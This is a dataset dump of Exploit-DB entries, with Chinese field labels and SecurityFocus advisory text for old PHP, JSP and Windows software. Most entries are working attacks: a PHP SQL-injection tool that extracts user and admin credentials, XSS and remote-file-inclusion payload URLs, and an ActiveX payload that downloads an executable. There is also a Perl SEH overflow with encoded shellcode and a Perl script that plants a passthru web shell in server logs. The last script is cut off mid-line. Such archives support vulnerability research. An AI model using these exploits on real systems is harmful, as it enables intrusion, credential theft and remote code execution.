QLWD/code_shield huggingface dataset:
标题: Pubs Black Cat [The Fun] - 'browse.groups.php' SQL Injection EDB-ID: 32051 CVE: 2008-3206 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/30221/info

Pubs Black Cat [The Fun] is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

<?php
/*
Coded By RMx
Yuhhu Pubs Black Cat Remote SQL Injection Exploit
Coderx.Org & Biyosecurity.com
Thanx : Liz0zim - Otistiq
Script Demo & Sales :
http://www.iamilkay.net/index.php/scriptler/arkadaslikscriptleri/yuhhuscript/6-yuhhuserisi/8-pubs
Dork --> inurl: browse.groups.php
Dork 2 --> inurl:browse.events.php
Dork 3 --> browse.music.php
Dork 4 --> browse.groups.php
*/
set_time_limit(0);
error_reporting(0);
echo "
<title>Yuhhu Pubs Exploit [ Coded By RMx ]</title>
<form action='' method=post>
USERS EXPLOIT :<br>
?rnek :http://www.example.com<br>
<input type=text name='site'>
<input type=submit value=RMx>
</form>";
if (isset($_POST['site']))
{
$site=$_POST['site'];
$hacker="browse.groups.php?category=-1+union+select+1,2,3,concat(0x656D61696C3A20,email,0x206B756C6C616E6963693A20,username,0x2073696672653A20,password),5,6,7,8,9+from+joovili_users";
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $site."/".$hacker);
curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1
(+http://www.google.com/bot.html)');
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
$html = curl_exec($curl);
curl_close($curl);
preg_match_all('#<td class=\"text_4_css_bold\">(.*)<\/td>#',$html,$huseyin);
foreach ($huseyin[1] as $biyosecurity)
{
echo $biyosecurity ."<br>";
}
}

echo "

<form action='' method=post>
ADMIN EXPLOIT :<br>
?rnek :http://www.example.com<br>
<input type=text name='admin'>
<input type=submit value=RMx>
</form>";
if (isset($_POST['admin']))
{
$site=$_POST['admin'];
$hacker="browse.groups.php?category=-1+union+select+1,2,3,concat(0x206B756C6C616E6963693A20,admin_username,0x2073696672653A20,admin_password),5,6,7,8,9+from+joovili_admins";
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $site."/".$hacker);
curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1
(+http://www.google.com/bot.html)');
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
$html = curl_exec($curl);
curl_close($curl);
preg_match_all('#<td class=\"text_4_css_bold\">(.*)<\/td>#',$html,$huseyin);
foreach ($huseyin[1] as $biyosecurity)
{
echo $biyosecurity ."<br>";
}
}
?> URL: https://www.exploit-db.com/exploits/32051
标题: IBM Maximo 4.1/5.2 - '/debug.jsp' HTML Injection / Information Disclosure EDB-ID: 32046 CVE: 2008-3161 类型: WEBAPPS 平台: JSP 发布日期: 2008-07-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/30180/info

IBM Maximo is prone to multiple HTML-injection vulnerabilities and an information-disclosure vulnerability.

An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. Code execution may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Information obtained may aid in further attacks.

These issues affect IBM Maximo 4.1 and 5.2; other versions may also be vulnerable. 

GET /jsp/common/system/debug.jsp HTTP/1.1
Accept: <script>alert('XSS');</script>
Accept-Language: <script>alert('XSS');</script>
UA-CPU: <script>alert('XSS');</script>
Accept-Encoding: <script>alert('XSS');</script>
User-Agent: <script>alert('XSS');</script>
Host: maximo
Connection: Keep-Alive
Cookie: <script>alert('XSS');</script> URL: https://www.exploit-db.com/exploits/32046
标题: eSyndiCat 2.2 - 'register.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32045 CVE: 2008-6924 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30178/info

eSyndiCat is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

eSyndiCat Pro 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/register.php where username="><script>alert(12157312.477)</script>&email="><script>alert(12157312.477)</script>&password="><script>alert(12157312.477)</script>&password2="><script>alert(12157312.477)</script>&security_code="><script>alert(12157312.477)</script>&register="><script>alert(12157312.477)</script> URL: https://www.exploit-db.com/exploits/32045
标题: WordPress Core 2.5.1 - 'press-this.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32053 CVE: 2008-3233 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/30238/info

WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to WordPress 2.6 are vulnerable. 

http://www.example.com/wp/wp-admin/press-this.php/?ajax=video&s=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/wp/wp-admin/press-this.php/?ajax=thickbox&i=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E URL: https://www.exploit-db.com/exploits/32053
标题: Sina DLoader Class - ActiveX Control 'DonwloadAndInstall' Method Arbitrary File Download EDB-ID: 32052 CVE: 2008-6442 类型: REMOTE 平台: WINDOWS 发布日期: 2008-07-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/30223/info

Sina DLoader is prone to a vulnerability that can cause malicious files to be downloaded and saved to arbitrary locations on an affected computer.

Attackers may exploit this issue to overwrite sensitive files with malicious data that will compromise the affected computer. Other attacks are possible. 

<OBJECT id=install classid=clsid:78ABDC59-D8E7-44D3-9A76-9A0918C52B4A></OBJECT> <SCRIPT> var YEtYcJsR1="http://example.com/infected.exe"; install["DownloadAndInstall"](YEtYcJsR1); </SCRIPT> URL: https://www.exploit-db.com/exploits/32052
标题: OpenPro 1.3.1 - 'search_wA.php' Remote File Inclusion EDB-ID: 32058 CVE: 2008-7087 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/30264/info

OpenPro is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

OpenPro 1.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/path/search_wA.php?LIBPATH=[Evil] URL: https://www.exploit-db.com/exploits/32058
标题: V-Webmail 1.6.4 - '/includes/prepend.php?CONFIG[includes]' Remote File Inclusion EDB-ID: 32035 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
           
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
           
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
           
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/prepend.php?CONFIG[includes]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32035
标题: ALLPlayer 5.8.1 - '.m3u' Local Buffer Overflow (SEH) EDB-ID: 32041 CVE: 2013-7409 类型: LOCAL 平台: WINDOWS 发布日期: 2014-03-03 漏洞利用脚本: #-----------------------------------------------------------------------------#
# Exploit Title: ALLPlayer 5.8.1 - (.m3u) Buffer Overflow (SEH)               #
# Date: Mar 1 2014                                                            #
# Exploit Author: Gabor Seljan                                                #
# Software Link: http://www.allplayer.org/download/allplayer                  #
# Version: 5.8.1                                                              #
# Tested on: Windows 7 SP1                                                    #
#-----------------------------------------------------------------------------#

# This application is still vulnerable to a buffer overflow, caused by improper
# bounds checking of an URL given via menu or placed inside an M3U file.
# 
# Credit to previous exploits:
#   + http://www.exploit-db.com/exploits/29798/ by Mike Czumak
#   + http://www.exploit-db.com/exploits/28855/ by metacom

#!/usr/bin/perl

use strict;
use warnings;

my $filename = "sploit.m3u";

my $junk1 = "\x41" x 301;   # Offset to SEH
my $nSEH  = "\x61\x50";     # POPAD # Venetian padding
my $SEH   = "\x50\x45";     # POP POP RET from ALLPlayer.exe
my $junk2 = "\x42" x 700;
 
my $align = "\x53".         # PUSH EBX
            "\x6e".         # Venetian padding
            "\x58".         # POP EAX
            "\x6e".         # Venetian padding
            "\x05\x14\x11". # ADD EAX,0x11001400
            "\x6e".         # Venetian padding
            "\x2d\x13\x11". # SUB EAX,0x11001300
            "\x6e".         # Venetian padding
            "\x50".         # PUSH EAX
            "\x6e".         # Venetian padding
            "\xc3";         # RET

my $nops = "\x71" x 109;

# msfpayload windows/exec cmd=calc.exe R
# msfencode -e x86/unicode_mixed BufferRegister=EAX
my $shellcode = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAh".
"AAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLyXTI9pKPip".
"S02iwuP1z2RDRkb2nP2kNrjlDKnrN4BkD2NHJofWPJLfNQyonQGPDlmloqSLyrNLmPy16ozmYqY7".
"JBzPB2R72kqBLPrkMrmlZaj0Bka0d83UGP1dOZYqvpb04Ka8mH4KR8kpYqyCHcMlQ9DKmdDKM18V".
"nQyolqEpdl91FojmzahGNXk01eYd9s3M8xMk1mmTbUYRr8dKNxldKQWcRFRklLpKBkaHKl9qwc2k".
"itRk9qFp3Yq4O4mT1K1Ks1aI0Zb1KOGpR8QOPZrkMBJKTFqMRJkQBm3UgIipYpypNp38matKpoe7".
"ioyE7KJP85vBQF0heVCeEm3mio7eMlYvsLiz3PikiP45ze7KPGJs1bpoBJKP0SkOiEqSaQBL33ln".
"s5sH2E9pAA";
 
my $sploit = $junk1.$nSEH.$SEH.$align.$nops.$shellcode.$junk2;

open(FILE, ">$filename") || die "[-]Error:\n$!\n";
print FILE "http://$sploit";
close(FILE);

print "\nExploit file created successfully [$filename]!\n\n";
print "You can either:\n";
print "\t1. Open the created $filename file directly with ALLPlayer\n";
print "\t2. Open the crafted URL via menu by Open movie/sound -> Open URL\n\n";
print "http://$sploit\n"; URL: https://www.exploit-db.com/exploits/32041
标题: V-Webmail 1.6.4 - '/includes/pear/Mail/mimeDecode.php?CONFIG[pear_dir]' Remote File Inclusion EDB-ID: 32028 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
    
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/Mail/mimeDecode.php?CONFIG[pear_dir]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32028
标题: V-Webmail 1.6.4 - '/includes/prepend.php?CONFIG[pear_dir]' Remote File Inclusion EDB-ID: 32033 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
         
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
         
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/prepend.php?CONFIG[pear_dir]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32033
标题: V-Webmail 1.6.4 - '/includes/pear/File.php?CONFIG[pear_dir]' Remote File Inclusion EDB-ID: 32032 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
        
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
        
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/File.php?CONFIG[pear_dir]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32032
标题: V-Webmail 1.6.4 - '/includes/pear/Log.php?CONFIG[pear_dir]' Remote File Inclusion EDB-ID: 32031 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
       
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
       
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/Log.php?CONFIG[pear_dir]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32031
标题: V-Webmail 1.6.4 - '/includes/pear/XML/Tree.php?CONFIG[pear_dir]' Remote File Inclusion EDB-ID: 32027 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
   
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/XML/Tree.php?CONFIG[pear_dir]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32027
标题: V-Webmail 1.6.4 - '/includes/pear/Console/Getopt.php?CONFIG[pear_dir]' Remote File Inclusion EDB-ID: 32029 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
     
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/Console/Getopt.php?CONFIG[pear_dir]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32029
标题: V-Webmail 1.6.4 - '/includes/pear/System.php?CONFIG[pear_dir]' Remote File Inclusion EDB-ID: 32030 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
      
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
      
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/pear/System.php?CONFIG[pear_dir]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32030
标题: V-Webmail 1.6.4 - '/includes/cachedConfig.php?CONFIG[pear_dir]' Remote File Inclusion EDB-ID: 32034 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
          
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
          
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
          
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/cachedConfig.php?CONFIG[pear_dir]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32034
标题: V-Webmail 1.6.4 - '/includes/email.list.search.php?CONFIG[includes]' Remote File Inclusion EDB-ID: 32036 CVE: 2008-6840 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/30162/info
            
V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
            
Exploiting these issues can allow an attacker to compromise the application and the underlying system; other attacks are also possible.
            
V-webmail 1.6.4 is vulnerable; other versions may also be affected.

http://www.example.com/path/includes/email.list.search.php?CONFIG[includes]=http://www.example2.com URL: https://www.exploit-db.com/exploits/32036
标题: TGS Content Management 0.3.2r2 - 'login.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32023 CVE: 2008-6839 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30157/info
 
TGS Content Management is prone to an HTML-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user; other attacks are also possible.
 
TGS Content Management 0.3.2r2 is vulnerable; other versions may also be affected.

http://www.example.com/cms/login.php?previous_page=/cms/index.php?msg=">/><script>alert(/xs/)</script>
http://www.example.com/cms/login.php?previous_page=/cms/index.php?goodmsg=">/><script>alert(/xs/)</script> URL: https://www.exploit-db.com/exploits/32023
标题: TGS Content Management 0.3.2r2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32022 CVE: 2008-6839 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30157/info

TGS Content Management is prone to an HTML-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user; other attacks are also possible.

TGS Content Management 0.3.2r2 is vulnerable; other versions may also be affected.

http://www.example.com/cms/index.php?site=account&goodmsg=>">/><script>alert(/xs/)</script>
http://www.example.com/cms/index.php?site=filemanager&msg=>">/><script>alert(/xs/)</script>
http://www.example.com/cms/index.php?site=filemanager&dir=>">/><script>alert(/xs/)</script>
http://www.example.com/cms/index.php?site=usermanager&option=show&id=>">/><script>alert(/xs/)</script> URL: https://www.exploit-db.com/exploits/32022
标题: Fuzzylime (cms) 3.01 - 'blog.php' Local File Inclusion EDB-ID: 32016 CVE: 2008-3164 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/30121/info

'fuzzylime (cms)' is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary local script code. This can allow the attacker to obtain sensitive information that may aid in further attacks.

This issue affects fuzzylime (cms) 3.01a; other versions may also be affected. 

#!/usr/bin/perl
# Fuzzylime CMS 3.01 LFI / RCE
# author  : Cod3rZ
# website : http://cod3rz.helloweb.eu
#
# http://[site]/blog.php?file=../[file]\0
# LFI TO RCE
use LWP::UserAgent;
 system("cls");
#system("clear");
 print " -------------------------------------------------\n";
 print " Fuzzylime CMS 3.01 LFI / RCE                     \n";
 print " Powered by Cod3rZ                                \n";
 print " http://cod3rz.helloweb.eu                        \n";
 print " -------------------------------------------------\n";
 print " Insert Site (http://site.com/):                  \n ";
 chomp($site = <STDIN>);
 print " -------------------------------------------------\n";
 print " Insert Logs path                                 \n ";
 chomp($path = <STDIN>);
 print " -------------------------------------------------\n";
 
 #Infect Logs
 $lwp = LWP::UserAgent->new;
 $siten = $site.'/blog.php?file=';
 $ua = $lwp->get($site.'coderz <?php passthru(stripslashes($_GET[cmd])); ?> /coderz');
 #Control
 $ua = $lwp->get($site.$path.'%00');
 if($ua->content =~ m/cod3rz/) {
 print " Ok ".$site." is infected                         \n";
 print " -------------------------------------------------\n";
 print " ".$siten.$path."&cmd=[command]\\0                 \n";
 print " -- URL: https://www.exploit-db.com/exploits/32016
标题: Xomol CMS 1.2 - '/index.php' HTML Injection / Cross-Site Scripting EDB-ID: 32021 CVE: 2008-3202 类型: WEBAPPS 平台: PHP 发布日期: 2008-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30156/info

Xomol CMS is prone to an HTML-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

Xomol CMS 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?op=tellafriend&current_url=">/><script>alert(/xssed/)</script> URL: https://www.exploit-db.com/exploits/32021
标题: FFmpeg libavformat - 'psxstr.c' STR Data Heap Buffer Overflow EDB-ID: 32019 CVE: 2008-3162 类型: DOS 平台: LINUX 发布日期: 2008-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30154/info

The 'libavformat' library from FFmpeg is prone to a remote heap-based buffer-overflow vulnerability because of insufficient boundary checks when parsing STR data.

Remote attackers can exploit this issue by enticing victims into opening maliciously crafted STR files with an application that uses the affected library.

Successful exploits may allow attackers to execute arbitrary code within the context of an affected application. Failed exploit attempts will likely result in a denial of service. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32019.iki URL: https://www.exploit-db.com/exploits/32019
标题: Netrw 125 Vim Script - Multiple Command Execution Vulnerabilities EDB-ID: 32012 CVE: 2008-3076 类型: REMOTE 平台: LINUX 发布日期: 2008-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/30115/info

Netrw is prone to multiple command-execution vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Successfully exploiting these issues can allow an attacker to execute arbitrary commands with the privileges of the user running the affected application.

Netrw 125 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32012.tar.bz2 URL: https://www.exploit-db.com/exploits/32012